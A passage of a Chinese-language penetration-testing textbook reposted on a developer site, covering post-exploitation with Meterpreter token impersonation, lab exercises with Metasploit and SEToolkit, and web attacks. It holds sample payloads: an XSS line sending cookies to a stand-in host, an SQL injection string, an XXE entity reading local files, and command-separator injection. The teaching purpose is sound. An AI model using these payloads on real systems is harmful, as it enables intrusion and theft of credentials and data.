渗透测试基础(全)(4)

本文涉及的产品
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
云数据库 RDS MySQL,集群版 2核4GB 100GB
推荐场景:
搭建个人博客
云数据库 RDS MySQL,高可用版 2核4GB 50GB
简介: 渗透测试基础(全)

渗透测试基础(全)(3)https://developer.aliyun.com/article/1525433

后利用

一旦您利用了该系统,接下来的步骤取决于您的项目范围。如前所述,您可以查看获取用户名及其密码的列表,然后在一个单独的系统上破解密码,这样您就有时间在不被注意的情况下工作。您可以安装一个后门程序,允许您在最初的攻击之外访问系统。如果系统仍未打补丁,您可以继续利用该系统,并在任何需要的时候进行进一步的活动。

您可以将该系统用作网络中的安全港,以便继续通过其他系统访问它们。这意味着您可以将它用作一个临时服务器,将您需要在其他系统上继续工作的文件复制到其中。有几种方法来掩盖你的藏身之处和额外的程序使用单独的和隐藏的分区或安装 rootkits。rootkit 是一组旨在隐藏恶意软件存在的程序。它可以防止管理员看到程序运行或隐藏网络连接的存在。

与客户的接触可能会限制你能做什么和应该做什么。后门和 rootkits 是您留下的工件,一些公司不想留下额外的软件。一如既往,沟通将是关键。

您可能无法始终获得系统的根级别或管理权限。您可能希望在攻击后采取的一个措施是运行本地攻击来获得管理访问权限。Metasploit 还有一些模块可用于尝试获得系统级或管理级访问权限。其中一个是getsystem,可在 Meterpreter 外壳中获得。getsystem将尝试获得系统级权限,最高权限。如果这不起作用,可能有其他方法成为另一个用户。您还可以利用一个模块来模拟另一个用户,并继承他们的所有权限和权利。这个模块是匿名的,你可以在这里看到它的用法:

meterpreter > use incognito
Loading extension incognito...success.
meterpreter > list_tokens -u
Delegation Tokens Available
========================================
WUBBLE-C765F2\Administrator
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
Impersonation Tokens Available
========================================
NT AUTHORITY\ANONYMOUS LOGON
meterpreter > impersonate_token WUBBLE-C765F2\\Administrator
[+] Delegation token available
[+] Successfully impersonated user WUBBLE-C765F2\Administrator
meterpreter > getuid
Server username: WUBBLE-C765F2\Administrator

与其他模块一样,您必须使用它来导入功能。一旦模块被加载,您就可以访问list_tokens,这将为您提供系统上所有可用的认证令牌。然后选择您想要模拟的用户,并使用impersonate_token成为该用户。使用getuid Meterpreter 命令,您可以看到 Meterpreter 当前在本地系统上作为用户管理员运行。

拥有管理权限后,如果您还没有管理权限,可以安装其他软件、修改事件日志、添加用户和更改密码。获得某种级别的管理权限也将使您有权查看其他可用的身份验证令牌。这可能包括某种级别的凭据,可用于获得对目标网络中其他系统的身份验证访问。这种横向移动可能会让您接触到更敏感的材料,您可以使用这些材料作为攻击者可以获得这些材料的证据。当 Windows 系统相互通信时,它们使用加密哈希来回发送密码。这种加密哈希有时可以用来访问网络中的其他系统,而实际上并不知道密码。这种技术称为传递散列,因为您实际上是将加密散列传递给另一个系统,作为一种身份验证的方式。

Windows 系统也可以使用 Kerberos 票证,这是从 Kerberos 基础结构提供给客户机系统的对时间敏感的数据。Kerberos 是作为一个更大的系统的一部分在 MIT 开发的,但是已经在 Windows 中使用了十几年。Kerberos 身份验证需要使用 Windows Server,这在企业网络中很常见。这些 Kerberos 票据应该不受哈希类型策略的影响,但是它们已经被用来授权未授权的访问。较新的 Windows Server 实现正在利用各种策略使哈希技术的传递变得相当困难。

在 Linux 系统上,您可能能够利用服务器和客户机之间或者服务器和其他服务器之间的其他可信系统关系。用于加密命令行或终端访问的安全外壳协议利用加密密钥进行加密,但这些密钥在某些情况下也可用于身份验证。一些系统管理员可能会配置他们的系统,以允许通过使用密钥进行身份验证来快速访问其他系统,而无需密码。旧的协议有时会使用系统级信任,尽管这些协议不再广泛使用,因为它们容易受到这种未经身份验证的访问。

在获取额外凭证、添加后门、获取敏感信息和掩盖踪迹之间,您有许多可以采取的利用后步骤。一如既往,确保你着眼于什么对你的客户最好。开始尝试征服尽可能多的系统可能很有诱惑力,但是你必须牢记你的目标:向你的客户提供信息,他们可以用这些信息来加固他们的系统以抵御攻击。你也有有限的时间来执行你的测试,所以这变成了一个优先级的问题。确保你采取的任何利用后的行动都在范围之内,并且符合你的客户的最大利益。

摘要

利用真的是你渗透测试的肉。这是您展示您的目标有多脆弱的地方,因为他们可能不会非常认真地对待来自扫描仪的漏洞列表。即使您已经审查了列表并提出了您知道易受攻击的列表,对于一些人来说,也很难真正认识到对其业务的威胁,这就是为什么经常需要实际显示系统的一些渗透的原因之一。这证明有人可以进入他们的系统并控制信息资源。面对这样的证据,高管们很难认为漏洞不会带来实际的业务风险。这并不能保证他们会做他们需要做的事情来解决问题,但至少他们不能说风险不存在。

当您进行渗透测试时,Metasploit 将会是您最好的朋友之一。一些系统将比其他系统更容易受到攻击,但是 Metasploit 团队在跟上最新漏洞方面做得非常好,正如您通过查看exploit-db.com上可用的漏洞所看到的。您真的想很好地理解漏洞利用是如何工作的,更重要的是,程序是如何工作的,这样您就可以了解在您的程序中发生了什么。这将让您更好地了解系统的漏洞在哪里以及如何存在。不过,Metasploit 不仅仅是为了利用漏洞。它还有许多其他功能,包括用于在目标网络上进行服务扫描。此外,如果您了解 Ruby,您可以编写自己的模块来插入 Metasploit,以满足您的任何需求。Metasploit 具有很高的可扩展性,并且很容易扩展。

社会工程攻击可能是任何组织最关心的问题。用户打开电子邮件并访问可能被感染的网站会给组织带来很多漏洞,这些都是非常常见的攻击媒介。如果您可以说服您的组织或客户允许您进行社会工程攻击,SEToolkit(它在底层使用 Metasploit)是一个非常强大的工具,它使社会工程攻击的技术方面变得非常容易。

Metasploit 是一个非常强大的漏洞利用框架,它是一个很好的起点,不仅可以利用漏洞,还可以在利用系统后尝试获得系统级访问权限。虽然您可以快速使用 Metasploit 或另一个框架,但是需要时间来获得足够的经验,以超越非常基本的利用。

练习

  1. 下载一份可升级的 Linux,并将其安装到您的虚拟机软件中。从 Rapid7 或通过使用 Kali Linux 获取 Metasploit 的副本。
  2. 如果可能的话,购买一份 Windows 95,并将其安装到您的虚拟机软件中。
  3. 对您的目标运行扫描,看看您能找到哪些漏洞。
  4. 尝试使用 unreal-irc 漏洞利用 Metasploitable。
  5. 尝试使用 metasplogiable 易受攻击的 FTP 漏洞来利用 metasplogiable。
  6. 使用 Metasploit 扫描本地网络中的 SSL、SSH 和 SMB 服务器。查看是否可以利用任何已识别的漏洞来控制目标计算机。
  7. 利用 SEToolkit 创建一封恶意电子邮件,并将其发送到易受攻击的端点虚拟机之一。看看有没有用。
  8. 利用 SEToolkit 克隆一个网站,并向克隆的站点注入攻击,看看是否可以使用受损的站点感染一个易受攻击的端点虚拟机。

六、破坏网站

当执行渗透测试任务时,Web 应用程序通常是您的大部分发现的位置。Web 应用程序特别容易受到攻击,因为它们通常不会像其他服务那样受到保护。当一个组织将一个系统放入其基础设施中时,该系统通常位于防火墙之后。这可能是网络防火墙,也可能是驻留在系统本身上的主机防火墙。Web 应用程序的特点是它们是位于开放端口上的程序。它们被明确地暴露在防火墙之外,因为它们存在的意义就在于为防火墙另一侧的用户提供服务。这与向公司内部的用户开放文件共享端口完全不同,因为虽然内部可能有恶意用户,但人数要少得多,也更容易监控。

出于本章的目的,由于界限变得相当模糊,我们将讨论使用基于 Web 的技术交付的编程功能。这意味着用户正在使用 Internet Explorer、Chrome 或 Firefox 等浏览器来使用其他地方提供的功能。程序代码的任何执行都可以发生在用户的浏览器中或通信的服务器端。虽然浏览器通常被认为是一个查看器,有时被称为瘦客户端,但有相当多的功能可以在浏览器中处理,而不需要在服务器端执行任何操作。当我们谈论 Web 技术时,我们谈论的是超文本传输协议(HTTP)、超文本标记语言(HTML)、可扩展标记语言(XML)以及可以在服务器端运行的编程语言,如 Java。NET 语言或 PHP。此外,Web 应用程序可能会在客户端(用户的浏览器)使用 Javascript。移动应用程序逐渐取代了浏览器中的瘦客户端应用程序,但通信流和后端系统最终往往是一样的。

还有其他与网络应用相关的网络安全挑战。在某些方面,它几乎就像一个一站式商店,因为如果攻击者能够破坏 Web 应用程序,攻击者就可以访问它背后的数据库,而该数据库可能包含用户名、密码、信用卡、地址和许多其他可能有用的个人信息。Web 应用程序是通向信息库的大门,信息库可能被窃取、修改或破坏。这使它们成为一个目标,而且在许多情况下是一个容易的目标,因为传统的网络防火墙没有做任何事情来抵御这些攻击,因为它们通常看起来就像普通的 Web 流量一样。

永远记住潜在攻击者的目标。在信息技术或信息安全行业工作了很长时间的人可能会继续对对手是谁以及他们在追求什么有古怪的想法,认为这些是在父母的地下室里玩电子游乐设施的孩子。这一点毋庸置疑,因为了解真正的对手是谁将有助于让人们明白为基础架构提供足够保护的重要性。通常,对手是有资金和动机的。这是一项业务,他们追求任何可以用来盈利的东西,无论是可以出售用于身份盗窃的个人数据,还是可以用作网络农场或出租的攻击农场的系统。数据存在的任何地方都肯定是目标。

使 Web 应用程序成为攻击者和渗透测试者的目标丰富的环境的另一个问题是,有太多许多年前编写的 Web 应用程序没有得到更新,因为它们仍然工作得很好。这些应用程序中有许多是在对与保护 Web 应用程序相关的挑战有很好的理解之前编写的。

作为一名研究 Web 应用程序攻击的渗透测试人员,有一种方法可以提供很大的价值,那就是鼓励与您合作的公司开发能够提供更多攻击保护的应用程序代码。鼓励公司实现更强大的应用层防御,如 Web 应用防火墙和库,以便更好地验证用户输入,这将使这些公司处于更有利的位置,以击退他们所面临的对手。这也会让你处于一个有利的位置,因为如果你能帮助他们变得更好,他们会继续回来找你,因为你让他们花的钱物有所值。从长远来看,没有人喜欢这样的人,他把石头扔进所有的窗户,却没有至少指出玻璃店在哪里。

理解 Web 应用程序的通用架构将有助于您更好地理解您正在测试的是什么。毕竟,不是所有的攻击都是相同的,因为每个攻击都可能针对架构中的不同元素。一旦您看到了这个架构,您就可以很好地理解当今存在的一些常见攻击。Web 应用程序攻击的一个问题是,定期会出现新的攻击。随着越来越多的技术被开发出来,使得应用程序变得更加有趣和有用,更多的攻击成为可能。这是一个非常可靠的经验法则。从开发人员开始向 Web 应用程序添加功能的那一刻起,他们就降低了应用程序抵御攻击的能力,除非他们特别关注提高其安全性和保护能力。更多的代码和与用户更多的交互意味着更多的复杂性,而复杂性总是安全性的敌人。

网络架构

在这一节中,我们将回顾实现 Web 应用程序的一些常见方法。显然,当你开始测试越来越多的应用程序时,你会遇到分歧。同样重要的是要认识到,我们将着眼于逻辑架构,而不是物理架构。当涉及到物理实现时,逻辑组件可能分布在几台计算机上,或者所有的逻辑功能可能存在于单个硬件系统中。还需要考虑虚拟机。在很大程度上,物理架构与攻击应用程序无关。组件在哪里并不重要,尽管有些实现可能比其他实现更容易受到攻击。

最终,任何 Web 应用程序的目标都是为用户提供服务。因此,无论应用程序在拥有它的企业中是什么样子,用户都是等式的一部分。用户的 Web 浏览器是应用程序的界面。图 6-1 显示了一个典型的 Web 应用程序的逻辑架构。左边是用户系统,它是用户界面,有时被称为应用程序的表示层。您正在查看的模型有时被称为 n 层模型。左边是装有网络浏览器的客户端计算机。它通常通过互联网连接到 Web 服务器。在企业内部使用的 Web 应用程序的情况下,有时称为内部网,这种连接不会发生在互联网上,而是发生在企业的本地网络上。我们将在本章的后面讨论这个模型的其余层。

图 6-1。

Web application architecture

Web 应用程序在体系结构中的所有系统上运行,每个系统可能都有编程组件;因此,可执行代码可以驻留在架构内的任何地方。这增加了复杂性,带来了潜在的错误和漏洞,但也增加了可以用来更好地保护应用程序的层。在客户端,笔记本电脑所在的地方,可能有一些 Javascript。这可以用来验证输入,或者简单地使界面的呈现更好、更用户友好。

浏览器知道如何呈现从 Web 服务器获得的超文本标记语言(HTML)。Web 服务器通过使用超文本传输协议(HTTP)传输 HTML 文档来与浏览器通信。HTTP 是一种可以被人直接读写的明文协议,在传输 HTML 文档本身之前,它使用报头来指示请求的内容和提供的内容。协议本身指出了可以使用的报头及其含义。它没有指定 HTTP 可以承载什么,因为 HTTP 头本质上封装了数据或媒体。部分头将指定内容是什么,以便告诉客户端(浏览器)预期的内容,从而可以正确解析内容。下面的示例头集包括请求和从服务器返回给客户端的响应,请求是客户端发送的 HTTP,用于向服务器指示请求的内容:

GET / HTTP/1.1
Host: www.microsoft.com
HTTP/1.1 200 OK
Server: Apache
ETag: "6082151bd56ea922e1357f5896a90d0a:1425454794"
Last-Modified: Wed, 04 Mar 2015 07:39:54 GMT
Accept-Ranges: bytes
Content-Length: 1020
Content-Type: text/html
Date: Wed, 30 Mar 2016 01:28:59 GMT
Connection: keep-alive

请求的第一部分是指示客户机如何与服务器交互的动词。最常见的是,你会看到GETPOST,这取决于你是请求还是发送信息。令人困惑的是,GETPOST可能可以互换使用,但在概念层面上,GET请求是您在请求内容时发送的请求,如果您正在向服务器发送数据,例如您填写了一个表单并将其内容发送给服务器进行处理,您将发送一个POST。在动词之后,客户端指示它正在请求的资源的路径。资源的路径是客户端正在使用的 HTTP 版本。由于我们使用的是 HTTP 1.1 版,协议要求下一行包含所请求的网站名称,因为 HTTP 1.1 协议允许在同一地址托管多个网站。有了客户端提供的主机名,Web 服务器就可以传送正确的内容。

在图中,第二个文本块是服务器返回给客户端的响应。在响应中,第一行指示 HTTP 的版本,然后是响应代码和一条指示响应代码含义的短消息。这个特殊的响应代码是您最有可能看到的代码,因为它表示成功。还有许多其他的响应代码,组合成数百个。例如,如果您要获得一个 500 级的消息,它将指示 Web 应用程序中的一个错误。如果你看到一个 100 级的消息,它将是一个信息性的消息,而 200 级的消息将表示成功。服务器提供的其余头是关于服务器将提供给客户机的内容。

业务逻辑和数据

Web 服务器的背后是业务逻辑层,为了提供容错、冗余或负载平衡,Web 服务器实际上可以是多个 Web 服务器。这是程序实际存在的地方。Web 服务器与客户机通信以提供一个接口,但是业务逻辑层包括所有的程序组件,告诉应用程序如何与用户交互。这可以包括识别用户和确定如何向用户呈现信息。例如,用户可能有能力改变界面的外观以最适合他或她的需要。应用服务器,无论是。NET、Java、Ruby on Rails 或其他类型的应用服务器将负责查找用户的信息,并决定将什么 HTML 发送给用户,以使界面看起来像用户想要的样子。

HTML 的挑战之一是它是无状态的。HTML 中没有任何东西可以维护一个身份和一个应用程序状态,以指示客户端在特定对话中的位置。在使用 Web 界面并要求用户登录的应用程序中,服务器无法知道用户是否成功通过了身份验证。HTTP 根本无法跟踪这一点。然而,HTTP 确实提供了创建头字段和传递参数的能力。这两个特性允许应用程序在客户端之间传递信息。一种方法是使用 cookies。查看以下标题,包括一个Set-Cookie标题:

Status=OK - 200
Cache-Control=no-store
Pragma=no-cache
Content-Length=1364
Content-Type=application/x-javascript
Expires=Wed, 31 Dec 1969 23:59:59 GMT
Last-Modified=Sat, 02 Apr 2016 00:28:15 GMT
Accept-Ranges=bytes
Server=Microsoft-IIS/8.5
Set-Cookie=HumanClickSiteContainerID_72961245=Secondary5; path=/hc/72961245
p3p=CP="NON BUS INT NAV COM ADM CON CUR IVA IVD OTP PSA PSD TEL SAM"
Date=Sat, 02 Apr 2016 00:28:14 GMT

一旦设置了 cookie,它就存储在客户机上,以后可以检索。使用 cookie,客户端可以提供身份验证已经发生的证据。认证完成后,服务器在客户机上设置一个 cookie。当客户机与服务器通信时,它将 cookie 传回以证明它已经通过了身份验证。如果 cookie 没有被适当地绑定到存储它的系统,它可能会被其他人使用。这也是为什么浏览器可以防止第三方网站访问 cookies 的原因之一。如果这些没有到位,恶意网站将能够很容易地获取它们,并使用它们来访问您之前已经验证过的网站。

应用服务器特别负责创建发送给客户机的 cookies。然后,应用服务器需要检查 cookie,并跟踪它所处的任何状态。例如,如果你正在买东西,服务器需要知道你是谁,以便确定你是否临时存储了一件商品,以便以后付款。应用服务器负责处理使这些功能正常工作所需的所有逻辑。应用服务器需要一个地方来维护持久信息。通常,这将使用关系数据库服务器来完成。结构化查询语言(SQL)用于处理向数据库服务器添加数据和从数据库中检索数据。

我们使用的数据库,通常称为 SQL 数据库,实际上是关系数据库。SQL 是用于与这些数据库交互的语言。这些被称为关系数据库,因为它们通常是这样创建的,即数据库中的表通过键字段之间的关系与其他表相关联。有许多方法来处理数据在磁盘上的存储,这是留给供应商来实现的。作为与数据交互的语言,SQL 本身是相对标准化的。

应用服务器需要知道如何与数据库服务器交互。如果两台服务器在不同的计算机系统上,这意味着两台服务器之间需要网络连接。这也意味着应用程序服务器需要存储认证信息,以便能够登录到数据库服务器。如果攻击者能够危及应用服务器的安全,那么攻击者就可以获得该身份验证信息。它可以被检索并用于直接攻击数据库,而不需要通过 Web 服务器和应用程序服务器。

该体系结构中还有其他潜在的漏洞。许多应用服务器,尤其是 Java 应用服务器,通过 Web 界面利用控制台进行管理。这些控制台通常可以通过一个独立的网络端口进行访问,该端口不同于应用服务器监听客户端请求的 Web 端口。体系结构前面的任何防火墙都应该阻止来自 Internet 的对该端口的访问,但是如果防火墙配置错误,或者攻击者能够访问 Web 服务器,他们就能够访问应用服务器控制台。这可能允许攻击者部署应用程序档案,然后让他们更直接地访问应用程序服务器。

建筑保护

虽然图 6-1 中的图表显示了一个典型的应用程序设置,但它忽略了一些细节,而这些细节既可以提高性能,又可以提供额外的安全性。Web 服务器前面通常是网络防火墙。这种网络防火墙将阻止对除 Web 服务器上必要端口之外的所有内容的访问,这些端口通常是 80 和 443。当然,这种方法的问题是,如果有人攻击 Web 服务器,他们很可能会攻击应用层本身,这意味着流量将从端口 80 或 443 进入。因此,典型的网络防火墙通常不会为 Web 服务器提供真正的保护,除了阻止它不应该监听的端口。

您在图中看到的 Web 服务器可能根本不是传统意义上的 Web 服务器,这意味着它可能不是运行 Apache、Nginx 或 IIS 作为 Web 服务器软件的 Linux 或 Windows 系统。相反,它可能是一个硬件设备,接收 Web 请求,然后将它们传递给后面的一组 Web 服务器。这些设备被称为负载平衡器,用于防止单个 Web 服务器被请求淹没。负载平衡器的工作是将请求分散到位于负载平衡器后面的不同 Web 服务器上。负载平衡器本身实际上可以是多个设备。该体系结构可以使用多个负载平衡器来处理大量的 Web 请求,并且如果一个负载平衡器出现故障,至少还有一个负载平衡器来接收请求,直到出现故障的负载平衡器可以重新联机。

防火墙和 Web 服务器之间的另一个组件是 Web 应用防火墙(WAF)。Web 应用程序防火墙用于拦截所有 Web 请求,以确定它们是否遵循适当的 HTTP 规则,并确定请求中是否有任何可能是攻击流量的内容。它使用模式匹配来做到这一点。当我们稍后查看不同类型的攻击时,您将对 WAF 可能寻找的模式类型有所了解。通过位于客户机和 Web 或应用服务器之间,WAF 有能力拒绝请求,如果它看起来可能是恶意的,并可能导致数据泄露。当然,像这样坐在中间,不得不基于模式匹配做出决定,WAF 有可能会降低 Web 通信的速度。

了解 Web 体系结构中的不同层非常重要,因为您可能需要使用特殊的技术来让您的攻击穿透应用服务器或数据库服务器。

异步 Javascript 和 XML (AJAX)

传统上,与 Web 服务器的交互需要用户点击一个链接,键入一个地址,或者点击一个提交按钮,然后交互才返回给用户。这在很大程度上是一种用户驱动的模型,您可能会认为它本质上是“拉动式”的。为了让任何网页获得新内容,用户必须向 Web 服务器发出请求,并等待响应。这对现代的交互式网络应用来说是不够的,尤其是当它们要取代本地客户端应用的时候。现代的 Web 应用程序要求服务器能够监控客户机的行为,比如移动鼠标,然后定期将数据推送到客户机。至少,应该有一种方法可以让客户端从 Web 服务器获取数据更新,而不需要用户发出手动刷新命令或单击链接。

这就是异步 Javascript 和可扩展标记语言(XML)的用武之地。异步 Javascript 和 XML (AJAX)利用浏览器中运行的 Javascript 定期向 Web 服务器发出更新请求。使用 XML 将更新发送回浏览器,而不是用 HTML 创建一个全新的网页。然后,XML 用于更新显示的页面中包含的数据,而不改变页面本身的 HTML。在下面的代码中,您可以看到脸书发出的对其中一个请求的响应。您可能会注意到,当您查看脸书网站上的页面时,该页面会不时自动更新。它能做到这一点是因为它有 Javascript 在后台安静地运行,定期从服务器取回数据。

Status=OK - 200
Pragma=no-cache
Cache-Control=private, no-cache, no-store, must-revalidate
Expires=Sat, 01 Jan 2000 00:00:00 GMT
Content-Type=application/x-javascript; charset=utf-8
x-content-type-options=nosniff
x-frame-options=DENY
Vary=Accept-Encoding
Content-Encoding=gzip
x-fb-debug=b0AT4soImxp7cwHkRXb5WBgj/8cn1RuBK6F2bbjDDCfj4ex0VPZUpJbngipmK9enhnXdMWQrY6Lp4LZFjFcF/g==
Date=Sun, 03 Apr 2016 21:00:32 GMT
Content-Length=1256
X-Firefox-Spdy=h2

了解现代 Web 应用程序使用 AJAX 可能会为您提供一种额外的方法,通过干扰或操纵这些 AJAX 请求和响应来操纵服务器。

常见的 Web 应用攻击

开放 Web 应用程序安全项目(OWASP)负责跟踪当前的 Web 应用程序漏洞。你可以通过访问他们的网站获得最新的列表。我们将看看一些更常见的网络漏洞。除了查看攻击的结构,我们还将讨论攻击针对架构的哪个方面。

跨站点脚本(XSS)

跨站点脚本(XSS)攻击是一种针对客户端系统的注入式攻击。可以在网页浏览器中运行的脚本语言,如 Javascript,被注入到网页中。然后,不知情的用户会访问该页面,攻击者提供的脚本会在用户的浏览器中运行。有两种类型的 XSS 攻击。第一种叫做存储的或持久的 XSS。这意味着攻击者已经设法将脚本存储在数据库中,以便当用户访问网站时,脚本显示在网页中。例如,这可能在博客帖子的评论栏中。因为脚本是由浏览器处理的,所以用户永远看不到它,甚至不知道它正在运行。有了这样的攻击,你可以在网站上种下种子,然后等待不知情的用户访问来获得好处。

第二种类型的 XSS 攻击称为反射攻击。利用反射攻击,攻击者创建一个 URL,并在 URL 中嵌入脚本,调用易受 XSS 攻击的页面。对于这种攻击,攻击者需要用包含脚本的参数创建 URL,然后将其发送给用户。这可以通过在基于 HTML 的消息中使用附加脚本来隐藏实际 URL 的电子邮件来完成。因为额外的参数和脚本可能会泄露它。

攻击本身非常简单。您提供了一组 HTML 标记,表明您有一个脚本。当它出现在 Web 浏览器中时,浏览器会看到脚本标签并运行标签中的内容。一个非常简单的例子是:

<script>alert('this page is vulnerable to XSS');</script>

这不是很有趣,因为它所做的只是弹出一个对话框,说“该页面易受 XSS 攻击”,这肯定会提醒用户发生了一些事情。更有趣的是编写从用户那里窃取信息的 Javascript。由于来自第三方的页面不应该能够窃取代表其他站点存储的信息,您可以使用 XSS 攻击来收集这些信息,然后将其传输到另一个站点,攻击者稍后可以在那里收集这些信息。这方面的一个例子是这样的:

<script>document.write('<img src="http://my.badsite.com/goodsite.php?cookie=' + document.cookie + '" />')</script>

这个小攻击使用document.cookie从页面获取 cookie,并将其嵌入到一个 URL 中。URL 位于图像标签中,这意味着浏览器将向该 URL 发送请求。URL 甚至不必存在,因为请求将被放入日志中,稍后可以解析该日志以获取 cookies 和 IP 地址。在多个站点受到攻击的情况下,对goodsite.php的引用可以指示 cookie 来自哪个站点。当然,使用这种技术也有可能窃取其他信息。

像在document.writedocument.cookie中一样,使用document后跟一个方法或属性,这就是文档对象模型(DOM)。DOM 是一种将 Web 页面转换成可以使用 document 对象访问的对象集合的方法。此外,文档有类似于write的方法,可以访问这些方法来对文档执行操作。在我们的例子中,我们从该脚本所在的文档中收集 cookie,并使用write方法将 cookie 放入 URL,这将最终将 cookie 发送到恶意服务器。

XSS 攻击源于未正确验证的输入。在大多数情况下,没有理由接受 HTML 标签作为输入。事实上,在大多数情况下,你不需要接受任何一个< or >作为输入。因此,Web 应用程序程序员应该对输入进行适当的调整,以确保这些类型的字符不被原样接受,而是被转换为更安全的选项,如 HTML 变体<>,它们让浏览器呈现小于和大于字符,而不实际使用这些字符,因为它们可能被解释为试图创建 HTML 标记。

SQL 注入

SQL 注入攻击是针对数据库服务器的攻击,攻击者将代码传递到数据库中,由数据库服务器本身直接执行。结构化查询语言(SQL)代码被插入到网页上的表单中,SQL 被一路传递回数据库,并在那里执行。为了了解这种特定的攻击是如何工作的,让我们来看看一些非常简单的代码,这些代码旨在获取用户列表,其中字段username等于传递给这段特定代码的值:

$query = "SELECT * FROM users WHERE username = '" + $username "';";
$result = mysql_query($query);

正常情况下,剧本会把弗雷德、伍布尔、珍妮特、阿提克斯或佐伊作为例子。如果您提供用户名,您将获得与您提供的用户名相关的所有信息。相反,如果您提供一段 SQL 来改变查询,就像下面这样,您将得到完全不同的结果:

' OR '1' = '1

一旦用变量进行了所有替换,您最终得到的是一段如下所示的 SQL:

SELECT * FROM users WHERE username = '' or '1' = '1';

该查询的重要部分是'1' = '1'部分,因为OR告诉 SQL 评估所有行以确定整个语句的真实性。我们可能永远不会遇到用户名为空('')的情况,但是'1'将总是等于'1',,所以数据库中的每一行对于这样的语句都是真的。因此,根据脚本的结果部分是如何创建的,您可能会得到一个完整的users表转储。

SQL 注入攻击最重要的部分是大致了解 SQL 可能是什么样子。最终,您需要做的是完成现有的 SQL,以便执行的语句有意义。如果试图缩短传递给数据库的 SQL 的一部分,可以使用注释字符。这意味着您可能需要知道应用程序下面的数据库服务器是什么。不同的数据库服务器使用不同的字符序列来表示注释,但是注释总是被数据库服务器忽略。因此,如果您想让它忽略程序代码中您提供的内容之后的所有内容,您可以使用注释序列。根据您使用的服务器,注释可能会用--#/* */来表示。

SQL 注入攻击可能是所有网络攻击中最需要经验的,因为它们不像运行一大块 SQL 那么简单。您需要理解您要注入的表单域的作用,这样您就可以做出正确的选择,哪些 SQL 可以在那里工作,哪些不可以。然后,您需要知道基于数据库服务器的类型,哪些 SQL 语句将会起作用。收集这些信息的一种方法是触发一个错误。图 6-2 显示了一条错误信息,该信息是从一个显然使用 MySQL 作为其服务器的网站上获得的。我们可以这样说,因为函数调用被引用为错误发生的地方,mysql_result()。在这个特殊的错误中,我们还幸运地揭示了 Web 服务器上正在使用的目录结构。

图 6-2。

MySQL error message

SQL 注入漏洞通常是不正确的输入验证的结果。如果您使用的是特殊字符,如--;#或某些引用字符,则输入可能有问题。

这里讨论的许多攻击,尤其是 SQL 注入,可能需要大量的反复试验才能奏效。这涉及到很多因素,包括应用程序的过滤,这可能是不够的。

命令注入

像 SQL 注入一样,命令注入漏洞也可能是由于不正确地验证输入造成的。当用户通过输入字段发送操作系统命令时,就会发生命令注入攻击,由于 Web 应用程序处理输入的方式,即它将原始输入发送给操作系统进行处理,用户可以在服务器上执行操作系统命令。在大多数情况下,您不能仅仅将操作系统命令发送到输入字段中,但是在某些情况下,输入字段会触发与操作系统相关的东西,例如在您有一个控制面板应用程序的情况下。一些 Web 应用程序用于控制设备,因此它们可能需要将命令传递到操作系统中进行处理。图 6-3 显示了一个例子,这是一个无线接入点的诊断页面。此页面为管理员提供了 ping IP 地址的能力。该页面可能会将收集到的 IP 地址发送到操作系统,以便在那里使用 ping 实用程序,并返回显示输出。

图 6-3。

Using ping from a Web application

要利用此漏洞,您需要知道您使用的是什么操作系统。理想情况下,您应该允许正在执行的任何命令按预期运行,然后提供一个命令分隔符,这个字符告诉操作系统等待同一行上传递的另一个命令。命令分隔符表示第一个命令已经完成,第二个命令即将开始。在 Linux 系统中,这可能是;字符,在许多编程语言中可以用来表示第一条语句或命令的结束。您也可以传递&&来指示如果第一条语句成功,那么运行第二条语句。两个&符号一起构成一个逻辑and操作符。如果第一个命令失败,第二个命令将不会运行。

使用命令注入攻击,恶意用户可以执行 Web 用户有权在命令行上执行的任何操作。Web 服务器运行在特定用户的上下文中。命令注入攻击将在该用户的上下文中运行,因此用户可以通过命令注入攻击执行任何操作。这是使用尽可能少的权限运行 Web 服务器的众多原因之一。

XML 外部实体攻击

一些 Web 应用程序利用可扩展标记语言(XML)将消息从客户端传递到服务器,反之亦然。如果攻击者能够拦截、操纵或创建这些消息,攻击者就能够将请求传递到服务器,服务器将会以类似于命令注入攻击的方式处理这些请求。这里显示了一个示例:

<?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE wubble [  
   <!ELEMENT wubble ANY >
   <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><wubble>&xxe;</wubble>

这个小的 XML 示例将从 Windows 系统的 C:驱动器的根目录返回boot.ini文件的内容。在 Linux 系统上,您可能会传递类似于/etc/passwd的东西来获取系统上的用户列表。在这种情况下,我们使用SYSTEM标识符让 XML 解析器知道它应该使用系统用引用的外部实体的内容替换引号中的标识符。利用这种攻击,恶意用户可以从系统上的文件中收集内容,或者让系统从另一个网站检索信息。XML 外部实体攻击是针对进行 XML 解析的服务器的攻击。

渗透测试基础(全)(5)https://developer.aliyun.com/article/1525437

相关文章
|
29天前
|
安全 Unix Shell
渗透测试快速启动指南(全)(5)
渗透测试快速启动指南(全)
34 0
|
1月前
|
SQL 安全 测试技术
『渗透测试基础』| 什么是渗透测试?有哪些常用方法?如何开展?测试工具有哪些?优势在哪里?
『渗透测试基础』| 什么是渗透测试?有哪些常用方法?如何开展?测试工具有哪些?优势在哪里?
227 0
|
29天前
|
安全 网络安全 数据库
渗透测试快速启动指南(全)(4)
渗透测试快速启动指南(全)
34 1
|
29天前
|
安全 Linux 网络安全
渗透测试基础(全)(3)
渗透测试基础(全)
41 2
|
29天前
|
安全 Java 测试技术
渗透测试基础(全)(5)
渗透测试基础(全)
29 1
|
29天前
|
存储 安全 网络协议
渗透测试基础(全)(2)
渗透测试基础(全)
25 1
|
29天前
|
安全 关系型数据库 MySQL
渗透测试快速启动指南(全)(2)
渗透测试快速启动指南(全)
26 2
|
29天前
|
安全 Linux 网络安全
渗透测试快速启动指南(全)(3)
渗透测试快速启动指南(全)
32 1
|
29天前
|
安全 网络协议 Unix
渗透测试快速启动指南(全)(1)
渗透测试快速启动指南(全)
34 1
|
29天前
|
存储 安全 网络协议
渗透测试基础(全)(1)
渗透测试基础(全)
19 0